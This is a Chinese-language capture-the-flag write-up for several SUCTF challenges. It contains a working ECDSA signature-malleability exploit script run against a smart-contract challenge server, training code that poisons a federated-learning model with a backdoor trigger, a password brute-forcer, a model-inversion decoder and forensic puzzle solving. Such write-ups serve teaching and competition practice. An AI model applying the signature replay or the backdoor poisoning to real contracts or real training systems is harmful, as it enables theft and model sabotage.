SU_OnChainCheckin Working: LiBr
3LDqJJCHwDBGQP9Zn5MSx ⇒ SUCTF{Con9ra7s!
还有一段估计是函数名YouHaveFound。
Account3 ⇒ 7Qgd9aqwprLzfS4L9KQFM3mNdG3WpjevNoCoRduXXfPS ⇒ _7HE_KEeee3ey_P4rt_0f_Th3_F1ag.}
SUCTF{Con9ra7s!YouHaveFound_7HE_KEeee3ey_P4rt_0f_Th3_F1ag.}
Onchain Magician Working: LiBr
https://medium.com/draftkings-engineering/signature-malleability-7a804429b14a
就是他签名有一个s 和 n-s都满足。然后于是可以在不知道原始内容的情况下直接获得两个都能满足的签名。
from web3 import Web3
from web3.middleware import geth_poa_middleware,construct_sign_and_send_raw_middleware
from eth_account.messages import encode_defunct
from eth_account import Account
from sha3 import shake256
from ecdsa import SigningKey, SECP256k1, VerifyingKey,util
import os
net = Web3(Web3.HTTPProvider('http://1.95.156.61:10002/'))
net.middleware_onion.inject(geth_poa_middleware, layer=0)
assert net.is_connected()
account = net.eth.account.from_key("priv_key")
# account = net.eth.account.from_key("priv_key")
from solcx import compile_source
contract_source = open("1.sol").read()
compiled_sol = compile_source(contract_source,output_values=["abi","bin"],evm_version="istanbul")
key = list(compiled_sol.keys())[0]
abi = compiled_sol[key]["abi"]
chain_id = net.eth.chain_id
contract_address = "contract"
contract = net.eth.contract(address=contract_address, abi=abi)
print(contract.functions.isSolved().call())
msg_hash = contract.functions.getMessageHash(account.address).call({"from": account.address})
print("msg_hash: ",msg_hash.hex())
msg = encode_defunct(hexstr=msg_hash.hex())
# sign1 = account.sign_message(msg)
sign1 = account.signHash(msg_hash)
r1 = sign1.r
v1 = sign1.v
s1 = sign1.s
print(hex(v1),hex(r1),hex(s1))
print(Account.recover_message(msg,vrs=(v1,r1,s1)))
N = SECP256k1.order
r2 = r1
s2 = int(N - s1)
v2 = v1 % 2 + 27
print(hex(v2),hex(r2),hex(s2))
print(Account.recover_message(msg,vrs=(v2,r2,s2)))
r1 = r1.to_bytes(32,"big")
s1 = s1.to_bytes(32,"big")
r2 = r2.to_bytes(32,"big")
s2 = s2.to_bytes(32,"big")
tx = contract.functions.signIn((v1,r1,s1)).build_transaction({
"from": account.address,
"nonce": net.eth.get_transaction_count(account.address),
"gas": 6721975,
"gasPrice": net.eth.gas_price,
})
signed_tx = account.sign_transaction(tx)
print(signed_tx)
tx_hash = net.eth.send_raw_transaction(signed_tx.rawTransaction)
print(tx_hash.hex())
receipt = net.eth.wait_for_transaction_receipt(tx_hash)
print(receipt)
tx = contract.functions.openBox({
"r": r2,
"s": s2,
"v": v2,
}).build_transaction({
"from": account.address,
"nonce": net.eth.get_transaction_count(account.address),
"gas": 6721975,
"gasPrice": net.eth.gas_price,
})
signed_tx = account.sign_transaction(tx)
tx_hash = net.eth.send_raw_transaction(signed_tx.rawTransaction)
print(tx_hash.hex())
receipt = net.eth.wait_for_transaction_receipt(tx_hash)
print(receipt)
print(contract.functions.isSolved().call())
大概思路就是修改签名,v,r,s都可以任意构造,所以可以出现两个完全不同的hash但是ecrecover出来是同一个msg.sender。于是就只剩下写交互了。
SU_AI_call_white_black working: yaotushaozhu
孩子们,没有5090不要做ai题,会变得不幸
参考https://arxiv.org/abs/1807.00459,我们可以知道,联邦学习就相当于将client训练出来的模型的diff加到原模型上,并根据参数调整。
同时我们可以根据代码找到原库:https://github.com/liang5211314/federated_backdoor_attack,但这个的主要作用是拿一些参数。
以下用ori_acc代指无后门的成功率,atk_acc代指后门的成功率
我尝试直接使用这个库进行训练,但是无法做到ori_acc与atk_acc同时达到标准(甚至两个都达不到)。
所以我们换种思路。我们的目标最终整合后的模型。
为了得到整合后的模型,我们需要自己对模型进行训练。我的方法是先用正常模型对初始模型进行训练,得到一个鲁棒性较强的模型,然后再将部分数据替换为投毒模型。通过在训练中减小lr和momentum,我得到了一个正常的模型。然后我再继续减小,并通过random.random()<0.3将部分数据替换为投毒数据,训练后得到了一个ori_acc>71,atk_acc>96的模型。为什么多1?因为tmd数据shuffle了,太极限过不了。
def b(local_model):
global num
print(f'start epoch {num}')
num+=1
num2=0
start=0
train_loader = torch.utils.data.DataLoader(eval_datasets, batch_size=32, shuffle=True)
for epoch in range(10):
for batch_id, batch in enumerate(train_loader):
data, target = batch
for k in range(len(data)):
if random.random()<0.35:
img = data[k].numpy()
for i in range(len(pos)):
img[0][pos[i][0]][pos[i][1]] = 1.0
img[1][pos[i][0]][pos[i][1]] = 0
img[2][pos[i][0]][pos[i][1]] = 0
target[k] = 1
if torch.cuda.is_available():
data = data.cuda()
target = target.cuda()
# local_model.eval()
output = local_model(data)
# print(output,target)
loss = torch.nn.functional.cross_entropy(output, target)
loss.backward()
optimizer.step()
if start==1:
r=attack_eval(local_model)
local_model.train()
if int(r)==100:torch.save(local_model,f'local_model_random5_{num2}')
if num2%3==1 and start==0:
r=attack_eval(local_model)
local_model.train()
if r>95:
start=1
if int(r)==100:torch.save(local_model,f'local_model_random5_{num2}')
num2+=1
这是获得投毒模型的代码。
有了目标的整合模型,现在我们需要求出上传的diff。
设F为server端整合后的模型,W1-W9为正常client训练后的模型,P为投毒模型,O为初始模型,D为diff,根据联邦学习的定义,根据题目供给的参数,我们可以得到F=O+(W1-O+…+W9-O+P-O)/10=O+(D1+…+D10)/10,因此P-O=10F-D1-…-D9-10O。
因此我们使用上面的github库的参数对模型进行训练,得到D1-D9,便能够求出P-O,之后上传就可以了。
SU_checkin working: LiBr,yaotushaozhu
打开流量包筛选status = 200的请求。能找到提示PBEWithMD5AndDES,以及一个部分密码:SePassWordLen23SUCT。要补四位,盲猜补充第一位F。
于是剩下几位爆破即可。
import base64
import hashlib
import re
import os
from Crypto.Cipher import DES
import string,itertools
wl=string.ascii_letters+string.digits
wl=wl
def get_derived_key(password, salt, count):
key = password + salt
for i in range(count):
m = hashlib.md5(key)
key = m.digest()
return (key[:8], key[8:])
def decrypt(msg, password):
msg_bytes = base64.b64decode(msg)
salt = msg_bytes[:8]
enc_text = msg_bytes[8:]
(dk, iv) = get_derived_key(password, salt, 1000)
crypter = DES.new(dk, DES.MODE_CBC, iv)
text = crypter.decrypt(enc_text)
try:
sss= re.sub(r'[\x01-\x08]','',text.decode("utf-8"))
return sss
except:
return
def encrypt(msg, password):
salt = os.urandom(8)
pad_num = 8 - (len(msg) % 8)
for i in range(pad_num):
msg += chr(pad_num).encode("utf-8")
(dk, iv) = get_derived_key(password, salt, 1000)
crypter = DES.new(dk, DES.MODE_CBC, iv)
enc_text = crypter.encrypt(msg)
return base64.b64encode(salt + enc_text)
def main():
passwd = b"SePassWordLen23SUCTF"
# passwd = b'SimPlePassWordLen23SUCT'
suff=itertools.product(wl,repeat=3)
s = b'ElV+bGCnJYHVR8m23GLhprTGY0gHi/tNXBkGBtQusB/zs0uIHHoXMJoYd6oSOoKuFWmAHYrxkbg='
# res=decrypt(s, passwd)
# print(res)
for su in suff:
res=decrypt(s, passwd+''.join(su).encode())
if res:
print(res)
print(su)
if __name__ == "__main__":
main()
SU_AI_how_to_encrypt_plus working: yaotushaozhu
AI领域大神yaotushaozhu最新力作。
梯度下降对于这种精度较高的数据来说效果很差
因此要考虑从模型结构下手。(你想想他为什么没出现relu,不就是给你逆的)
我们可以看到这样一个流程
[48*3*3] → [3,48*3] → conv1 → [48] → linear → [48*48] → conv → [1,1,49,49]
我们观察conv1的weight,可以发现:
bias=6
因此,conv1还保存着原数据的所有原始信息。
也就是说,现在我们只需要得到conv之前的数据就可以了。
而conv的参数是stride=1,padding=1,这也意味着我们可以完全恢复数据。
import torch
import torch.nn as nn
import numpy as np
n=48
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.linear = nn.Linear(n, n*n)
self.conv=nn.Conv2d(1, 1, (2, 2), stride=1,padding=1)
self.conv1=nn.Conv2d(1, 1, (3, 3), stride=3)
def forward(self, x):
x = x.view(1,1,3, 3*n)# [3,3*48]
x = self.conv1(x)
x = x.view(n)#[48]
x = self.linear(x)#[48*48]
x = x.view(1, 1, n, n)#[1,1,48,48]
x=self.conv(x)#[1,1,49,49]
return x
mynet=Net()
mynet.load_state_dict(torch.load('model.pth'))
w=mynet.conv.weight
b=int(mynet.conv.bias)
w=w.detach().view(2,2).numpy()
recover=np.zeros([50,50])
recover[1:49,1:49]=-1145141919
file_path = "ciphertext.txt"
with open(file_path, 'r') as f:
data = f.readlines()
c = np.array([list(map(float, line.split())) for line in data])
c-=b
for j in range(1,49):
for i in range(1,49):
if recover[j][i]==-1145141919:
recover[j][i]=(c[j-1][i-1]-w[0,0]*recover[j-1,i-1]-w[0,1]*recover[j-1,i]-w[1,0]*recover[j,i-1])/w[1,1]
recover=recover[1:49,1:49].reshape(-1)
w_l=mynet.linear.weight
b_l=mynet.linear.bias.detach().numpy()
recover=recover-b_l
w_i=torch.pinverse(w_l).detach().numpy()
recover=np.matmul(w_i,recover)
recover=np.round(recover)
recover-=mynet.conv1.bias.detach().numpy()
flag=''
for y in range(3):
for num in recover:
n=format(int(num), '09b')
for x in range(3):
flag+=n[8-x-3*y]
flag=[chr(int(flag[i:i+9],2)) for i in range(0,len(flag),9)]
print(''.join(flag)) SU_forensics working: LiBr
- diskgenius打开能恢复.bash_history
echo "My secret has disappeared from this space and time, and you will never be able to find it."
curl -s -o /dev/null https://www.cnblogs.com/cuisha12138/p/18631364
sudo reboot - 找不到,webachieve看看https://web.archive.org/web/20241225122922/https://www.cnblogs.com/cuisha12138/p/18631364,有一张图
- 去github仓库里翻commit,可以找到这个
https://github.com/CwithW/homework/blob/main/lost_flag.txt, 当然是假的,点开就被骗了。 - https://github.com/testtttsu/homework/blob/a4be9c81ae540340f3e208dc9b1ee109ea50305c/lost_flag.txt是这个,可以拿到一张图。上面那张图ps中调整曲线,可以获得密码。
解压出来一坨
是异形文字!我们有救了
切开之后是这样的数量统计。一共28种图,感觉除了黑块,一个空格,剩下的就是a-z?
切片
pic = cv.imread("lost_flag.png")
# print(pic.shape) => 138 * 108的小块
h,w,_ = pic.shape
for i in range(0,h,108):
for j in range(0,w,138):
cv.imwrite(f"tmp/{j//138}_{i//108}.png",pic[i:i+108,j:j+138]) 统计
maps = {}
for j in range(12):
for i in range(69):
pic = open(f"tmp/{i}_{j}.png","rb").read()
md5_ = md5(pic).hexdigest()
print(f"{j}_{i} => {md5_}")
if md5_ not in maps:
maps[md5_] = 0
maps[md5_] += 1 manual_map = {
"33b9ff9e5cf9264621f430e961e88fe7": " ",
"f97f9d3a428352fa62e6c0af9f272c3c": "",
}
chrs = 'a'
for i in range(69):
pic = open(f"tmp/{i}_0.png","rb").read()
md5_ = md5(pic).hexdigest()
if md5_ not in manual_map:
manual_map[md5_] = chrs
chrs = chr(ord(chrs)+1)
for key in maps:
if key not in manual_map:
manual_map[key] = "z"
print(json.dumps(manual_map,indent=4))
ntf = []
for j in range(12):
for i in range(69):
pic = open(f"tmp/{i}_{j}.png","rb").read()
md5_ = md5(pic).hexdigest()
if md5_ in manual_map:
print(manual_map[md5_],end="")
else:
print("?",end="")
ntf.append(f"{i}_{j}")
print()
print(ntf) a bcdef ghijkl mnop qhrdst uavw xdy
vlhu zihedandghu ds wjh xom ov yafdst qhlk bamandzwde par wokz
zdr vlhsgdhu fdstz qophu wo amondzj yk bcdwh idwdvcn xoczwz
yak xo hbcan yk voondzj lheolu mk zonqdst zdr icggnhz a phhf
jallk dz xottdst bcdefnk pjdej arhu ghs yosfz pdwj amcsuasw qaiol
ucyik fdmdwghl xdstnhz az bcdrowde oqhlvnopz
skyij zdst vol bcdef xdtz qhr mcu ds ghzwvcn wpdndtjw
zdyinh vor jhnu bcalwg ucef xczw mk pdst
zwlost mldef bcdg pjastz xcyik vor qdqdunk
tjozwz ds yhyolk idefz ci bcalwg asu qancamnh oskr xhphnz
ihszdqh pdgaluz yafh worde mlhp vol wjh hqdn bawald fdst asu plk xaef
ann ocwuawhu bchlk azfhu mk vdqh pawej hrihlwz ayaghu wjh xcuthain 丢到quipqiup里
fred specialized in the job of making very qabalistic wax toys
six frenzied kings vowed to abolish my quite pitiful jousts
may jo equal my foolish record by solving six puzzles a week
harry is jogging quickly which axed zen monks with abundant
vapor dumpy kibitzer jingles as quixotic overflows
nymph sing for quick jigs vex bud in zestful twilight
simple fox held quartz duck just by wing
strong brick quiz whangs jumpy fox vividly
ghosts in memory picks up quartz and valuable onyx jewels
pensive wizards make toxic brew for the evil qatari king and wry jack
all outdated query asked by five watch experts amazed the judge 可以得到对应关系。
好像是pangram,但是不完整。每行少了一个。少的那个拼出来就是suctfhavefun。。。。
谁教你这么出题的